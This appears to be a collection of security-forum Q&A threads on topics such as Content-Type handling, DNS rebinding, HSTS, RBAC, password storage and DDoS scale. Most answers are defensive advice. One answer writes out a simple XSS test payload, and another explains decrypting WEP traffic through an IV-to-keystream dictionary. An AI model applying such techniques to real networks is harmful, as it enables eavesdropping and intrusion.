Is it necessarily Content spoofing if the content type of the response does not match the content type of the request? The security team of my company is stating that content spoofing occurs when they send a different "content-type" for an HTTP request that only accepts JSON content type, and the server response is an error HTML page, naturally with content type "text/html".
They are complaining only about the content type of the response, not what is retrieved on the error HTML page, which contains only some generic text like "An error occurred". They say the content-type of the response should be always the same as the one you send in the request because it can propitiate security exploitations such as XSS. Personally, this does not make any sense to me, and I really dont understand how can this be a security flaw.

Can this be considered content spoofing and, also, can this propitiate security exploitations?

It seems like your security team has an overly-strict idea of what Content Spoofing is. For a background, I'm looking at the OWASP page on Content Spoofing, main point:

  When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.

As usual, ask your security team for a demo of the vulnerability that they believe they have found! If they believe there is a Content Spoofing / Cross-Site Scripting (XSS) vuln here, then they should be able to demonstrate it (ie craft a request to your server that results in a <script>alert()</script> popup in your browser.

Content Spoofing attacks (and XSS more generally) are all about sending malicious input in the request that is reflected in the response.

The point of the Content-Type: header is to tell the browser how to interpret the response. This can help reduce the attack surface because you only need to worry about user input that is malicious within the specified content type. For example, if it's Content-Type: text/html then you need to HTML-escape any user-supplied text that has been embedded in the response. If it's Content-Type: text/javascript, then I really hope you're serving a static .js file and not reflecting any user input into it. On the flip side, if its Content-Type: text/text or Content-Type: application/json than you don't need additional output escaping because the browser won't try to run this as code anyway.

Your situation

It sounds like you have an API endpoint that accepts POSTs with a JSON body, and on errors it returns an HTML error page. I agree that it's more common for JSON APIs to return JSON error messages, but returning static HTML error pages is perfectly fine from a security perspective. Of course, if you're taking parts of the request and embedding them un-escaped in the HTML response, then you'll have XSS, but that's almost a separate issue.

From reading your question, it seems like your security team wants the attacker to be able to control the Content-Type of the response? That seems absurd to me. The Content-Type header should match the content; if the error response contains an HTML page, then the server should indicate so with Content-Type: text/html.

As stated above, if your security team believes there is a security issue here, then ask them to demo it!


Key Signing Ceremony Instructions Where can I find step by step instructions for a key signing ceremony? We will be doing one for our non-production environment and then one for our production environment (at a later date). I have found general write ups on ceremonies but I was hoping to find step by step instructions, prerequisites, checklists, etc.

Note: the keys we will be generating are not root level keys.

Normally a Key Signing Ceremony only makes sense for root level keys. For non root level keys, the way it happens should be described in the policy rules of the PKI.

The main points of attention are IMHO:

how do you guarantee that the private key has always been under the sole control of its recipient - it can be a problem where you use physical devices such as a smartcard
how do you guarantee that the person that recieved the signed certificate is actually who he claims to be (control of an ID card, who did the control, how and when, etc.)
how do you save the proofs of those 2 previous parts (mainly important for the second one)


How to properly store, encrypt and backup passwords for home and office use I am in close proximity to the moment, where I will need to migrate from my old ssd and data hdd to new ones (wear and age), so I'm rethinking my environment. Please, give me suggestions about what should be improved regarding security and backups.

Consider environment as described:

In everyday use, I use Win7 (possibly upgrading to Win10 with new install) with KeePass2 (related to work). I use strong password and key file.

The KeePass password database together with key file (and 10+ dummy key files) and some other private files, are stored inside TrueCrypt volume, that I manually unlock after system boot.

I want to backup this TrueCrypt volume and make it available from my workplace too. I have chosen to use less popular cloud storage service (SpiderOak) to store that volume (instead of flash-drive, to be able to access passwords while away from PC or while unable to access KeePass\TrueCrypt compatible device). The problem is - that volume is always (PC has 95% uptime) mounted (can't copy/sync file in use resulting in rare opportunities to backup) and when I make any changes to contents (password database), TrueCrypt volume timestamp and size is not updated.

Because I could not solve this issue, I have postponed it as better solution is required. As I require access to the latest password storage from my workplace too, I use Remote Desktop connection (with custom port) to home and use my work PC as a terminal.

For connections to home PC, I do not use VPN (YET - I'm learning to create a l2tp with ipsec VPN server on our mikrotik router, but yet, to no avail), so I guess, I could have been already sniffed and I hope I will manage to solve this issue in future.

The question:

How should I change my behavior or environment, to make it more secure and backups would actually work?

PS: What security holes do you see in my current environment, that I should fix ASAP until my new environment is ready?

While your approach is much more than an average user would do in home environment, there are several attack vectors you may want to mitigate (for fun, learn or serious concern if you are a international spy :).

First of all, you already has blind (infinite) trust in several actors:

your hardware manufacturer (chip firmwares, BIOS/UEFI, etc.)
your Operating system vendor,
KeePass vendor (unless you checked the source line by line),
TrueCrypt vendor (-"-),
your cloud provider,
anyone who has administrative rights on your machine,
anyone who is able to compromise your system in any ways,
all employees of the above software vendors with commit right to their source code (unless you thoroughly examined their quality and security policies).

Any of the above actors can access your passwords without problem. In serious security designs you should reduce the number of trusted actors to the minimum, and you should never trust in single actor.

You can mitigate the security problems the following way:

1) Keep most important passwords in your head. This is the good way, and the intended way of using passwords. Medieval people were able to memorize entire holy (Latin) texts without understanding. We are not trained for that, but it is possible.

2) Always use 2FA (two factor authentication) for your important accounts. The biggest advantage of 2FA is that, you don't have to trust single actor. If the attacker compromised your machine or backdoored your operating system, she still have to steal your fingerprint or compromise your phone and security device. If you trust solely in passwords, and you don't keep them in you head, single actor is enough to defeat your defence. It's a several order of magnitude less probable that two actors are cooperating. National Cyber Armies certainly can do that, but otherwise you are more or less safe.

3) Keep the number of actors at the minimum. A portable pendrive with a simple text-file, encrypted with a decent algorithm and a good key is much more secure than your current setup because you trust much less actors: the current hardware, the current OS and the algorithm. You can include your own decryptor made in C or python. Some portable open source hardware with a small display and with simple verifiable code is even better. It might not be very convenient, but it's more secure.

4) Keep it simple. In security simplicity is crucial. The more you can verify personally the less you have to trust.

If you do all the above, most attacker is probably better off with sending a thug to beat you in order to acquire the credentials. :-)

EDIT:
If the number of passwords are large and you can not avoid some kind of password manager, I suggest an off-system one. Pendrive with stand-alone password manager is good enough. Or you can build your own security device with Arduino framework which can even type your passwords.


Isn't all security "through obscurity"? I know that one shouldn't rely on "obscurity" for their security. For example, choosing a non-standard port is not really security, but it also doesn't usually hurt to do so (and may help mitigate some of the most trivial attacks).

Hashing and encryption relies on strong randomization and secret keys. RSA, for instance, relies on the secrecy of d, and by extension, p, q, and ϕ(N). Since those have to be kept secret, isn't all encryption (and hashing, if you know the randomization vector) security through obscurity? If not, what is the difference between obscuring the secret sauce and just keeping the secret stuff secret? The reason we call (proper) encryption secure is because the math is irrefutable: it is computationally hard to, for instance, factor N to figure out p and q (as far as we know). But that's only true because p and q aren't known. They're basically obscured.

I've read The valid role of obscurity and At what point does something count as 'security through obscurity'?, and my question is different because I'm not asking about how obscurity is valid or when in the spectrum a scheme becomes obscure, but rather, I'm asking if hiding all our secret stuff isn't itself obscurity, even though we define our security to be achieved through such mechanisms. To clarify what I mean, the latter question's answers (excellent, by the way) seem to stop at "...they still need to crack the password" -- meaning that the password is still obscured from the attacker.

See this answer.

The main point is that we make a sharp distinction between obscurity and secrecy; if we must narrow the difference down to a single property, then that must be measurability. Is secret that which is not known to outsiders, and we know how much it is unknown to these outsiders. For instance, a 128-bit symmetric key is a sequence of 128 bits, such that all 2128 possible sequences would stand an equal probability of being used, so the attacker trying to guess such a key needs to try out, on average, at least 2127 of them before hitting the right one. That's quantitative. We can do math, add figures, and compute attack cost.

The same would apply to a RSA private key. The maths are more complex because the most effective known methods rely on integer factorization and the involved algorithms are not as easy to quantify as brute force on a symmetric key (there are a lot of details on RAM usage and parallelism or lack thereof). But that's still secrecy.

By contrast, an obscure algorithm is "secret" only as long as the attacker does not work out the algorithm details, and that depends on a lot of factors: accessibility to hardware implementing the algorithm, skills at reverse-engineering, and smartness. We do not have a useful way to measure how smart someone can be. So a secret algorithm cannot be "secret". We have another term for that, and that's "obscure".

We want to do security through secrecy because security is risk management: we accept the overhead of using a security system because we can measure how much it costs us to use it, and how much it reduces the risk of successful attacks, and we can then balance the costs to take an informed decision. This may work only because we can put numbers on risks of successful attacks, and this can be done only with secrecy, not with obscurity.


Port forwarding with 0.0.0.0, any threat? I set up on our company's firewall (fortigate100d) a port forwarding to one of our Internal services.
As we don't have a static public IP I used 0.0.0.0 as an external IP so the remote users can access the internal service through a DDNS service which will handle IP changes.
The question is: does making 0.0.0.0 as an external IP, exposes our internal services or even the firewall to potential threats.

In a default scenario (one internal, one external network) this will not harm you! You are using PAT so the rule is still bound to a specific port and does not put your network in danger.

If you have more then one external network attached you might have to think about it again. In that case you whould have to decide if the forwarding rule should be applied to both or just one external network.


Does HTTPS protect against DNS rebinding? I've been playing around with DNS rebinding. I made a little setup and I have it working fine with regular HTTP requests. I then tried to get it working over HTTPS and had a little "duh" moment:

baddomain.com uses an invalid security certificate.

The certificate is only valid for *.target.com

Error code: SSL_ERROR_BAD_CERT_DOMAIN

Browsers will check the cert for every request. With DNS rebinding, you are making subsequent request to the same "domain" but a different IP. The cert of the "rebinded" target doesn't match the originating domain, so we get a cert issue.

Is it safe to assume HTTPS services are not vulnerable to DNS rebinding attacks?

TL;TR: HTTPS will help against DNS rebinding.

Each new TLS session established by the browser validates the subject of the certificate against the domain of the URL. With DNS rebinding the victim initially visits a attacker controlled domain and after an attacker controlled DNS change the IP address for this domain changes to point to same (maybe internal) host.

After this DNS change the domain in the URL is still the attackers domain which means that the browser expects the certificate for the new TLS connection to match this domain. But, the new target host has only a certificate for its own domain and not for the attackers domain. This means that the TLS handshake will fail, either because the server refuses the handshake since the SNI name in the ClientHello does not match the servers configuration or because the browser will reject the certificate from the server since it does not match the name in the URL.


How does Stripe Checkout prevent phishing attacks? The Stripe Checkout overlay (https://stripe.com/checkout) pops up within a site and does not show the associated URL.
A malicious website could create its own overlay that looks like Stripe's, and trick users into thinking that they are giving their credit card info to Stripe.com

Is it possible that Stripe is doing something to prevent this? Or is it just not enough of a concern for them?

Stripe's Checkout overlay doesn't help prevent phishing, but the preferred alternative (iframes) doesn't either, so it's a wash in terms of phishing security.

PCI DSS emphasizes the steps required to secure the server which is providing the overall page to the customer, which in turn should help ensure the validity of the (iframe, javascript, links).  If the merchant's web server gets kicked over, those can all be redirected to a malicious third party, so preventing that is the focus.

Things tend to work out like this:

Outsourcing card data entry to the Processor reduces Merchant scope and improves overall Security
Merchants prefer checkout to be seamless; the customer should not be aware of #1 unless they really want to know.
iframe and javascript can be seamless, but by the same token remove phishing indicators from the process.

In the end, #1 and #2 outweigh the negatives of #3 given the lack of PCI DSS anti-phishing concern.


Expiring Decryption Key So, I'm just a programmer -- I don't know much about cryptography so bare with me and my lack of knowledge in this realm.
But essentially, I'm wanting to cache data that could be potentially volatile ( ie -- change or delete over time ). One solution I've thought of would be to encrypt the data ( server side ) and administer the key to the client -- here's the catch though: it expires within a given time frame ( ie, two or three days ). It can be refreshed or renewed, at every connection to the server but if the key is not refreshed, then ultimately I would like it to not be any good. That would mean the encryption method would need to use time as a factor ( so perhaps using a modulus / floor / round operator based on the current time to give you the actual encrypted data / things necessary to fully decrypt the data ). My only concern of course is that clients can modify the current time on their system. Perhaps I can find a trust-worthy source for the current time.

( Also, I understand that it is fundamentally silly to give data to a client when it's expected to be taken away, but I still am interested in finding a solution to this. ).

Does anybody know of something, or is there something that can steer me in the proper direction / achieve similar effects to what I'm after?

The data (including the key in any form) are passive and they can not verify what time it is now. So it must be a decryption tool that will verify the time. With this in mind you can put the time right into the key (and wrap it with some static key for increased security).

The decryption software residing on the client side will become a weak place, though. Time can be changed by the user but that's not a problem - you can use TSP protocol (RFC 3161) to obtain current time from the reliable TSP server. However the part that will decrypt the key, extract time and verify it becomes the weakest link. You will have to protect it seriously to prevent deobfuscation, decompilation and consequent modification. While no universal solution exists to this task, tools like VMProtect (I mention it cause it uses built-in virtualization) make hackers life a bit harder and will save you from tricks of the average user.

Let's try to invent the key scheme now.

The encryption key K1 is used to encrypt the data. That is the random session key, possibly different for every client installation.

The key K2 is used to encrypt K1. K2 is constructed as "random_part_X + f(random_part_X + year + day_of_year mod 3), where f can be an HMAC or just a hash (that requires additional thinking). Encrypted_K1 and random_part_X are shipped from your server every 2-3 days. It is encrypted with "static" K3 key stored in your decryption software.

When the client-side software needs to use K2 key, it decrypts K2 and has random_part_X.  Then it requests time from the trusted source and performs f(random_part_X + year + day_of_year mod 3) thus reconstructing K2. Now K2 is used to decrypt the received encrypted_k1 and obtain K1 itself. Finally K1 is used to decrypt the data.

If the attacker gets K1, he will be able to decrypt all of the data. So the scheme (a) needs to be complicated further, and (b) you might want to encrypt different pieces of data with different K1 keys. And then again you need to care about possible de-obfuscation, decompilation and debugging of the code that gets K1.


WEP cracking - Why does many IVs allow to actually get the cipher key I've been reading a lot about WEP cracking on online resources very recently, however there is one question that no website gives answer to I believe.
I would like to first understand the theory very well.

I understand how RC4 stream cipher works:

The IV being very short, with an high enough number of packets (ARP replay attack would be one way to get a lot of packets quickly), it should be possible to get 2 packets with the same IVs. Consequently, the two packets (P1 and P20 would have the same cipher Key (K).  Once you have these 2 packets, you just need to XOR them to obtain such result:

P1 XOR P2 = K XOR M1 XOR K XOR M2 = M1 XOR M2

So, you end up having a XOR of the two clear messages. That makes perfect sense.
However, how can you from there obtain the actual encryption Key ?  I did not find any resource online that would answer this question. They all assume that at that point, when you got a repetition of the IV, you got the key.

Thank you in advance for your help

I actually got my answer.
Once you get M1 XOR M2, you can derivate the actual keystream. Moreover, as the IV is sent in clear with every packet, you can now associate this IV with the KeyStream you found.

Using this technique on enough packet, you can construct a IV - Keystream dictionary.After a certain number of packets captured (not that many considering the "Birthday paradox"), you'll be able to construct a pretty exchaustive KeyStream dictionary which then allow to decrypt incoming messages.

This is how it would work:

You intercept a packet
You look at the IV coming with this packet in clear
You check in your dictionary to see if you have the corresponding Keystream for this IV
If yes, you use the keystream to decrypt the message. If not, you keep the IV and wait for another encrypted packet with the same IV, which would allow to get Keystream for this IV (by XORing the two packets) and add it to your dictionary


Question about access control with RBAC and DAC Here is the problem

  A company has 1250 employees and the employees have been trained to
  handle 4 job duties:

  Clerks: 1200 of the employees have been approved to work as clerks. To
  do their job, a clerk needs a total of 10 different permissions.

  Tellers: 100 of the employees have been approved to work as tellers.
  To their job, a teller needs a total of 9 different permissions.

  Managers: 10 employees have been approved to work as managers. To do
  their job, a manager needs a total of 6 different permissions.

  Auditors: 2 employees have been approved to work as auditors. To do
  their job, an auditor needs a total of 4 different permissions.

So the problem asks for the number of relationship between users and permissions for (1) RBAC and (2) discretionary access control. This is what i have so far:

for DAC, the relationship is a matrix of users vs permission, there are total of 1250 users and 29 permission so the number of relationship I got is 36,250.

for RBAC, we need two matrix, one for users and roles, and one for roles and permission, so basically I did 1250 * 4 (users X roles ) + 29 * 4 (roles X permissions) which gets me 5116.

Are these values correct? or am attempting this problem wrong.

It looks to me like the question is asking how many relationships there would be, but you are calculating the maximum number of possible relationships.

  there are total of 1250 users and 29 permission so the number of relationship I got is 36,250.

Each user doesn't need all 29 permissions. 1200 users need 10 permissions, 100 need 9, 10 need 6, and 2 need 4, which is 12968 total.

  I did 1250 * 4 (users X roles ) + 29 * 4 (roles X permissions) which gets me 5116.

Since there are more employees listed than there are in the company, some are going to need multiple roles, but every employee isn't going to have every role. 1200 will need a "Clerk" role, 100 will need a "Teller" role, 10 will need a "Manager" role, and 2 will need an "Auditor" role, for 1312 total user-role associations. Additionally, each role will not have all 29 permissions (that would defeat the point), 1 role will have 10, another 9, and 6, and 4, for a total of 29 role-permission associations.

Technically the question doesn't give enough information for an exact answer, as some of the 10 permissions clerks need could overlap with some of the 9 permissions tellers need, and so on. This would slightly reduce the number of associations for the DAC but not the RBAC, as someone who was both a clerk and a teller may need only 13 permissions instead of 19 due to the overlap.


What are the dangers of not setting the HSTS header on every response? A web application only sets the HSTS header in responses to requests to /assets/*. Any other response does not include the HSTS header.

While it does seem insecure at first, any browser opening the index page will quickly follow up loading all the assets, which then results in the HSTS header being seen and respected for all future requests.

Is there something I am missing? Is this strange setup fine?

It would be recommendable to have the HSTS header set on every HTTPS response, but this effectively provides the same level of security, because the HSTS policy is cached for the max-age seconds. It's defined that the lack of Strict-Transport-Security header doesn't cause deletion of the policy, but only settings a zero value for the max-age (RFC 6796 6.1.1, 5.3 & 12.5). Also, settings a value too low causes it to expire too soon.

These setups can protect a user that has visited the page on a trusted network (or a browser seen the HSTS header on it, to be more precise) within the max-age seconds. If the URLs providing the HSTS header are loaded on every visit, this wouldn't really compromise this. Despite that, I can't see any reason not to move this configuration on hostname level, and it might just be a mistake, too.

However, this prevents from protecting the users before they have ever visited the site (which would be the next step & level), as the presense of Strict-Transport-Security with both includeSubDomains and preload on request to / is mandatory, if you wish to add the domain to an HSTS Pre-Loaded List. This is the only way to protect the whole example.com, *.example.com, *.*.example.com etc. in advance. In addition, hstspreload.org requires that the max-age must be at least 31536000 seconds (1 year).


Requiring an on-site visit to reset a password or get VPN access This is a question born more from the user perspective but I'm wondering how it fits into a proper user creation and management policy. As a consultant I tend to work with various different clients and one issue that keeps coming up concerns getting access to their systems. While each client has its own procedures and some move faster than others, one issue that keeps coming up concerns the initial account creation and VPN access requiring me to physically go on site. In order to properly create my account and/or (re)set the initial password my device has to be within a corporate network.

My understanding of this so far is that VPN access won't be an option until after a first login and that IT is not able or more likely allowed to do this initial login for me. Some IT teams will do this anyway but I suspect it's probably not ISO 27001 compliant.

My questions on this are essentially:

What are the reasons a user would have to be inside a corporate network before being able to access it remotely?
Is this an inherent limitation/feature of Active Directory or would this be tied to the type of VPN solution a company runs?
Does this offer any benefits from a security perspective?
Is there some sort of legal or security certification requirement that governs this?
Are there viable/secure workarounds?

As someone who writes these kind of policies I'm always interested in how admins manage to circumvent the organizational controls that I want to implement.

Why would an on-site visit be required?
If someone new starts working for an organization - no matter if it's a consultant or an employee - it's really complicated to authenticate an account creation request. Sure, there are certificates and public keys and whatnot, but a lot of admins that do day-to-day IT service work struggle with putting a lot of trust in these means of authentication. Besides the lack of expertise, there might be a lack of technical capabilities to make use of these means. On top of that there might be some risk of private key compromise or well executed social engineering.

So what's an easy and cheap way to make sure you are giving access to the right person? Make them come on-site, identify and authenticate them. Afterwards, check their device into the directory service. There's little to no additional cost for you as a company, and risk of impersonation can be reduced by a lot.

My guess is, that you are working with companies that have a policy that is set up like this, but they also employ admins who are too lazy or have other controls implemented that make it unnecessary to actually - for instance - verify your identity document(s).


What happened with badBios Maybe some of you remember that in November 2013 the respected researcher Dragos Ruiu claimed that he was infected by some super advanced virus that no one ever heard of before.
Experts agreed that things that he described are possible, but the fact that such an advanced piece of software was used to tease one researcher was very unlikely. Some began speculating that he could have started going mentally unstable.

And...
That's all. All information I can find today about this whole situation is from 2013. It is October 2014, and there is no info in the internet about how this case was resolved. Do any of you know the final story? It is a bit strange that something of such significance never reached conclusion.

It has graduated to crazytown:

http://www.reddit.com/r/badbios

However, there was a research implementation that proved functionality:

http://www.theregister.co.uk/2013/12/05/airgap_chatting_malware/

Moreover, there has been documentation showing similar work has been deployed in the intelligence community:

http://www.pcworld.com/article/2087893/forget-badbios-nsa-turns-to-pirate-radio-to-target-air-gapped-computers.html


Does Google catches and keeps users typing patterns Does Google catches and keeps users typing patterns for identifying purposes?

for example when I'm logged in my Google account and Searching for things Google records my "Typing Pattern" like typing speed and ... and makes an unique signature for me and then Identify me when I'm using Google from an anonymous computer using same typing pattern "same signature"

is this possible?

Although I cannot say for sure what Google does or does not, it is unlikely that it records your "typing pattern". You can see the reason why thanks to Fabian Monrose's paper.

Since you are not likely to type long texts in the search bar the keystroke dynamic is not accurate enough to identify you perfectly, let alone out of millions of users. Moreover, you are likely to change the way you type over time, you might get a hand injury, change your keyboard, or change your device (computer, phone, tablet...).

So, it could work for very particular cases, but it is highly unlikely that Google would spend resources on this unreliable system.


Setting up a security CTF server I'm looking for resources and information from people who have experience running hacking capture-the-flag challenges.

To sum it all up in a simple one-sentence question: How do you set up a server such that you can allow it to be hacked through a very specific vulnerability while (a) not exposing yourself and others to undue risk, and (b) preventing one participant from spoiling the experience for others.

This shares a lot in common with running a honeypot, but a major difference is a focus on maintaining a consistent experience for all visitors so that one visitor doesn't "ruin" it for the others.

As a bit of background, this is not set up as a competition, but rather as a way of teaching programmers the danger and nature of bad coding practices by showing them how they are exploited. The servers will therefore remain accessible indefinitely rather than simply during a competition.

As a starter: Our existing design consists of stripped-down minimalist Linux machines running as VMs under KVM, all persistent storage mounted read-only, and all FS changes persisted only to RAM. The servers periodically restart, wiping out any possible changes and starting over fresh again. No network connections are allowed in or out unless necessary for the exploit in question.

I have no experience running or setting up such a thing but here are my thoughts on avoiding undue risk:

You will want some external monitoring on the critical services on the VM.  An exploit that causes a crash would certainly ruin it for everyone else.  It would be OK if someone defaces the website running on the box as long as all the necessary links to other pages remain intact but if they deface it so badly that the rest of the website becomes unreachable or starts throwing 500 Internal Error codes back at visitors or even crashes the HTTP daemon altogether, that should be detected and remedied quickly.
The attacker's machine may be exposed to some threat if you aren't supervising them.  The first exploit kit found by a Google search for the product they are aiming at is just as likely to contain malware as an actual exploit tool.
Political/legal risk.  Sign waiver forms for them to hold on to, explicitly allowing them to attempt to exploit this particular machine.  Explain the consequences of performing these same actions without the signed form.

And some general thoughts about running this thing:

Many exploits show no obvious signs of success.  Of course, this is part of the learning experience, to show the developers that simply switching off the displaying of errors does not completely stymie competent attackers.  But it might be nice to have a separate interface to show the current contents of the users table in the database or the contents of a particular directory or the list of running processes on the machine.  This might be something you switch off later on as the developer get better at detecting their own successes themselves.
Keep score.  For people who aren't naturally interested in security, making it fun is the key to keeping their attention, and a little bit of friendly competition will help that.  If you're only looking at allowing a single vulnerability, it won't be a score so much as a checklist of who has done it and who hasn't, but if a developer actually finds an extra vulnerability to the one you expected to be there, they should be publicly praised in some way.
Since you're aiming this at developers rather than pen-testers, their day job is going to be the not-so-glamorous defense role.  Once they have exploited the code, a followup task might be to see if they can protect the code themselves before seeing the best solution your team has collectively come up with.


Can I conceal which account in my database is the admin account, so an attacker won't know which hash to crack first? Say I had a database that looked like this:

Name   Password hash (bcrypt)                                          Status
--------------------------------------------------------------------------------
Dave   $2y$10SyyWTpNB.TyWd3nM hQ41frOtObcircAb3nJw1Cf9dC6CT7tVIEb6XS   Standard
Sarah  $2y$10$fUJrNA200sXgWUJAP7XEiuq4itHa43Y8QVIpc/YWscgVJ PYWbLLV.   Admin
Mike   $2y$10$01jx7u7hnfKOzBYyjNWskOPQ23w1Cf1gNiv42wsKqXKOf8filzS02    Standard

If an attacker gained access to this database, then they would immediately see that Sarah is an admin, and would probably focus on breaking that password, so they could have more power. Is there any way I could somehow hide whether or not someone is an admin in the database so that an attacker would not know who the admins are? I could simply hash the value (standard or admin) but that would only give 1 bit of entropy, and I would hope to get a bit more security than that.

I would say this is a bit too much trouble considering what you get out of it. I think when the attacker has access to the database you have way bigger problems. Obfuscating the admin status of a user will just cost the attacker some extra time, but an APT (Advanced Persistent Threat) would probably not be deterred by this fact.


What to include in emails to make them acceptable to email servers? I need to send some automated emails from a program I'm working on. This is a new feature. I'm generating the emails, but they get filtered by most of the email servers that I send tests to. Only one server I am using accepts the emails and it allows a lot of spam through. I need to find what headers or authentication or whatever I need to add to make the emails acceptable to major servers.
I've tried searching the internet for questions about sending automated emails, but the lead responses are all from companies that are willing to send the emails for me, or that are recommending what the body should look like.
How do I authenticate the email so that it doesn't get flagged or filtered as spam?

You're inquiring about email deliverability, which is a big business exactly because it's so hard to get right.
Anti-spam systems key on anything and everything they can to determine what is and is not safe, and it's a cat-and-mouse game with innovations happening on both spam and anti-spam fronts. Rule-abiding bulk email senders tend to get caught in the middle since that's the noise that spammers try to hide in.
First, cover your basics:

DMARC, DKIM, and SPF
FCrDNS in sync (HELO, PTR, no CNAME)
Warm up your sending IP addresses and domains – don't pop up with high volume out of nowhere, ensure your mail relays are known
Monitor your sending IP addresses for presence on DNSBLs (aka blocklists, blacklists)
Try to get your sending IP addresses on allowlists (whitelists) like DNSWL.org
Have special handling to auto-unsubscribe recipients of bounced messages

Learn more at the M³AAWG Sender Best Common Practices paper, authored by a group that coordinates between responsible bulk senders, anti-spam vendors, and bulk receivers
If that's insufficient (which is likely), you need professional help, e.g. from a Email Service Provider.


How to detect/mitigate UDP port scan using OpenBSD and pf One of our OpenBSD firewalls experienced a flood of UDP traffic from a compromised host within our internal network. The traffic was exchanged between the compromised internal host and a single external host but across a large number of UDP ports.

(example traffic, names have been changed to protect the innocent)

all udp 1.2.3.4:7613 <- 10.0.0.10:49520       NO_TRAFFIC:SINGLE
all udp 10.0.0.10:49520 -> 1.2.3.4:7613       SINGLE:NO_TRAFFIC
all udp 1.2.3.4:4097 <- 10.0.0.10:60908       NO_TRAFFIC:SINGLE
all udp 10.0.0.10:60908 -> 1.2.3.4:4097       SINGLE:NO_TRAFFIC
all udp 1.2.3.4:32541 <- 10.0.0.10:37535       NO_TRAFFIC:SINGLE
all udp 10.0.0.10:37535 -> 1.2.3.4:32541       SINGLE:NO_TRAFFIC
all udp 1.2.3.4:33677 <- 10.0.0.10:59357       NO_TRAFFIC:SINGLE
all udp 10.0.0.10:59357 -> 1.2.3.4:33677       SINGLE:NO_TRAFFIC
all udp 1.2.3.4:37129 <- 10.0.0.10:51998       NO_TRAFFIC:SINGLE
all udp 10.0.0.10:51998 -> 1.2.3.4:37129       SINGLE:NO_TRAFFIC
all udp 1.2.3.4:22155 <- 10.0.0.10:57033       NO_TRAFFIC:SINGLE
all udp 10.0.0.10:57033 -> 1.2.3.4:22155       SINGLE:NO_TRAFFIC
all udp 1.2.3.4:43867 <- 10.0.0.10:60893       NO_TRAFFIC:SINGLE
all udp 10.0.0.10:60893 -> 1.2.3.4:43867       SINGLE:NO_TRAFFIC
all udp 1.2.3.4:52591 <- 10.0.0.10:53902       NO_TRAFFIC:SINGLE
all udp 10.0.0.10:53902 -> 1.2.3.4:52591       SINGLE:NO_TRAFFIC
all udp 1.2.3.4:32984 <- 10.0.0.10:56988       NO_TRAFFIC:SINGLE
all udp 10.0.0.10:56988 -> 1.2.3.4:32984       SINGLE:NO_TRAFFIC
all udp 1.2.3.4:38585 <- 10.0.0.10:56435       NO_TRAFFIC:SINGLE
all udp 10.0.0.10:56435 -> 1.2.3.4:38585       SINGLE:NO_TRAFFIC
all udp 1.2.3.4:8121 <- 10.0.0.10:41506       NO_TRAFFIC:SINGLE

How might we automatically detect this kind of abusive traffic (given OpenBSD/pf's capabilities) and then react appropriately by banning the offending IP?

We already have a rule and pf table which contains banned IP addresses - It would be ideal if a solution could leverage this existing construct.

(It strikes me this question may be better suited for unix.SE; I posted it here because of the security specific nature and its relationship to firewalls/IDS. If it belongs over there, let it be so!)

Take a look at the sfPortscan rule for Snort.  It is designed to detect traffic to many different ports.  This normally would indicate a portscanning tool like nmap is in use, but it should trigger on the situation you describe.

On the other hand, since you've already detected the attack, I assume you've already eliminated the threat (wiped the hard drive of the infected PC or whatever.)  What are the odds that this same vulnerability will be exploited in the same way by the same malware again?  The good news is that if you install an IDS like Snort, and subscribe to their rules, it'll help continuously protect you against new threats.


Would it be possible to overload a large part of the internet, and if so then how? Last week a news article went viral about a Dutch web hosting/data center company that was allegedly using a DNS amplification attack to DDoS an anti-spam company, because they blacklisting the former. Many news sites claimed that IT experts said that it could slow 'the whole Internet' down.

My question is, would it really be possible with the power of any company or botnet to create such a significant data load as to slow the whole (or at least a large part of) the Internet noticeably?

First we need to understand what exactly you're asking. Every time someone sends a packet on the Internet it consumes some of the potential bandwidth of the Internet. Just like when a car drives down a road, no other car can drive in that same spot, so you have one less available spot on the road.

If we continue that comparison, a single site sending out many cars can easily jam the roads around it, watch the madness after any sports game is over and all the fans are leaving at the same time. But this only causes very localized disruptions, the same is generally true of the Internet. But the attacker used an amplification technique to do more congestion damage than they could have done alone. This employed unwilling 3rd parties, who had specific vulnerabilities. This allowed the attacker to generate much more congestion than they could have alone.

So there are two more important questions, which you will never find in the news as they're technical. The news is almost exclusively concerned with dire predictions that average people can understand, and the more sensational the better, regardless of accuracy.

The questions:

Could an attack be constructed with such scale as to affect a large portion of Internet traffic in a noticeably detrimental way?
Are there vulnerabilities in key systems of the Internet which can allow relatively little attacker effort to result in the average users' experience being disrupted meaningfully.?

As to the first question, it's highly unlikely. As you've seen attacks can be constructed which will disrupt certain very localized portions of the Internet. Spamhaus represents a very small portion of the overall Internet, and the attack was mitigated largely by a single other Internet entity. The attacker had significant resources compared to most potential attackers and was still not able to fully overcome Spamhaus and Cloudfare collaborating. As fun as it might be to theorize what might be possible, it's more than one giant leap from taking out Spamhaus to afflicting the Internet as a whole.

To the second question, this is somewhat more plausible. The Internet relies on a variety of key infrastructure. Many times security takes a back seat to functionality, especially where there are strong economic forces (ie, cheaping out). A great first example is BGP, which is what helps connect the many individual networks that make up the Internet. BGP was accidentally "hacked" by a Syrian ISP in 2012, which ended up disturbing a large portion of IP Routing. This wasn't malicious, was quickly fixed (quickly considering the scope), but illustrates how a small corruption can cause massive problems if systems aren't secured against such.

If I could predict the next such occurrence, I would be a millionaire. The best defense we have now is thoroughly analyzing systems for vulnerabilities, understanding them, developing best practices to guard against them, and vigilantly implementing appropriate measures.


Where to report malicious URLs, phishing, and malicious web sites? I recently discovered that my web site was hacked: there was a hidden HTML div that's about selling shoes...! I googled the text in question and voila: thousands of sites have been hacked.

Check this out: Google the text 'There is also hang tag made of leather, a slip pocket to put cards' and go to the sites in the results and look at the source code of the page.

You'll see something like:
...
 with a lot of spammy shoe keywords in there.

Example of hacked site:

Some band page: http://www.milsteinmusic.com/about.html (In case that should be cleaned up: Shoe-ized version archived here.) (check out the page HTML and look for shoes...).

My question is:

How did this happen?
How can we contact all those guys who have been hacked?
Where can I report this to an authority?

If you want to do a good turn, you can report the malicious site to several centralized sources.  There are some companies that maintain centralized lists of malicious web sites, and you can report the web sites to those companies.  Here are some places you can report phishing sites:

Report a phishing site to Google
Report a phishing site to Symantec
Report a phishing site to PhishTank (previously existing account required)
Report a phishing email to Anti Phishing Working Group (via reportphishing@apwg.org)
Report a phishing site to the US Government (US-CERT) (via phishing-report@us-cert.gov)

And some places you can report bad/malicious sites in general:

Report a malicious site to Google [*]
Report a phishing or malware site to Spam404
Report a phishing or malware site to Microsoft (account required)

